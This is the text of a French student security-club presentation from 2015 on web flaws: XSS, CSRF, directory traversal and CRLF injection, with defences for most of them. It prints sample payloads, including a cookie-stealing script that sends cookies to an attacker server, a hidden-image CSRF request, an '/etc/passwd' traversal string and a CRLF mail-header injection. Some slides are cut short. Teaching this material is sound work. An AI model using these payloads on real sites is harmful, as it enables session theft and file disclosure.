H4ck 1n TN Failles Web

Valentin STERN

Ceten - TELECOM Nancy

November 4, 2015



D'où viennent les failles?

Du serveur en général Surtout en PHP car c'est le langage le plus utilisé Pas développé de manière sécurisé au départ



Les failles vues dans cette présentation

Faille XSS CSRF Transversal directory CRLF



Faille XSS

Utilisée en général pour voler des cookies Pour rediriger vers des pubs Embêter les utilisateurs



Son fonctionnement

Nécessite un formulaire qui réaffiche les données entrées Permet d'éxécuter du javascript sur le client d'autres personnes Par exemple : <script>alert('Hello')</script>



Comment voler les cookies ?

Contenus dans document.cookie Nécessite un serveur, avec un fichier enregistrant ce qu'on lui envoie <script>window.location.replace('http://monsite.org/index.php?c=' + document.cookie.toString())</script>



Echapper les caractères Remplace donc par exemple < par < Affiche donc au final <script>alert('Hello')</script> et n'éxécute pas le code



CSRF

Acronyme de Cross-Site Request Forgery Permet d'utiliser les droits d'un autre utilisateur pour faire ce que l'on veut



Comment ça marche?

Demander à un utilisateur d'aller sur un lien
Ou le cacher dans une image :
<img src="http://monsite.org/compte.php?numeroCompte=1337"
width="0" height="0" border="0">
L'utilisateur va donc effectuer l'action que l'on veut avec sa session



Ajouter un token nécessaire dans chaque formulaire sur le site que l'on veut sécuriser

<input type="hidden" name="CSRFToken" value="Token chiffré">



Directory traversal

Principe : Accéder à un dossier dont nous ne sommes pas autorisé

Passe par l'inclusion de page avec des paramètres

Par exemple : <?php include ('/home/users/web/views/' .

\$_GET['view']); ?>

On accède donc à l'accueil par :

http://monsite.org/index.php?view=accueil.php



Exploiter cela

Envoyer une vue naviguant dans les dossiers

Par exemple : '../../../../../etc/passwd' et accéder au fichier de password de la machine

On peut ainsi accéder au fichier que l'on veut sur la machine !



 H4ck1nTN (HiT)
 Failles Web
 November 4, 2015
 12 / 19

On peut penser que l'on peut interdir les caractères ../ ou même simplement ..

Mais dans ce cas on peut envoyer l'encodage URL des caractères : Dans ce cas cette sécurisation ne sert à rien



 H4ck1nTN (HiT)
 Failles Web
 November 4, 2015
 13 / 19

Tout simplement : include(\$_GET['file'] . '.html') Limite donc les fichiers à ceux au format HTML Mais ne fonctionne pas si l'on rajoute



 H4ck1nTN (HiT)
 Failles Web
 November 4, 2015
 14 / 19

Quelle est la solution?

Ne plus utiliser ce type d'inclusion de page



H4ck1nTN (HiT) Failles Web November 4, 2015 15 / 19

CRLF

CRLF signifie Carriage Return Line Feed

Carriage Return : Retour Chariot \r

Line Feed : Saut de ligne \n

Consiste donc à placer des fin de ligne à certains endroits



Où placer ces caractères

Où?

Dans l'input des envois de mails de mot de passe oublié Le retour a la ligne signife un destinataire supplémentaire On peut donc envoyer des mails grâce au site web de la victime



Son utilité

Envoie deux mails avec le nouveau mot de passe mail1@service.com%0A%0Dmail2@service.com



Comment sécuriser?



 H4ck1nTN (HiT)
 Failles Web
 November 4, 2015
 19 / 19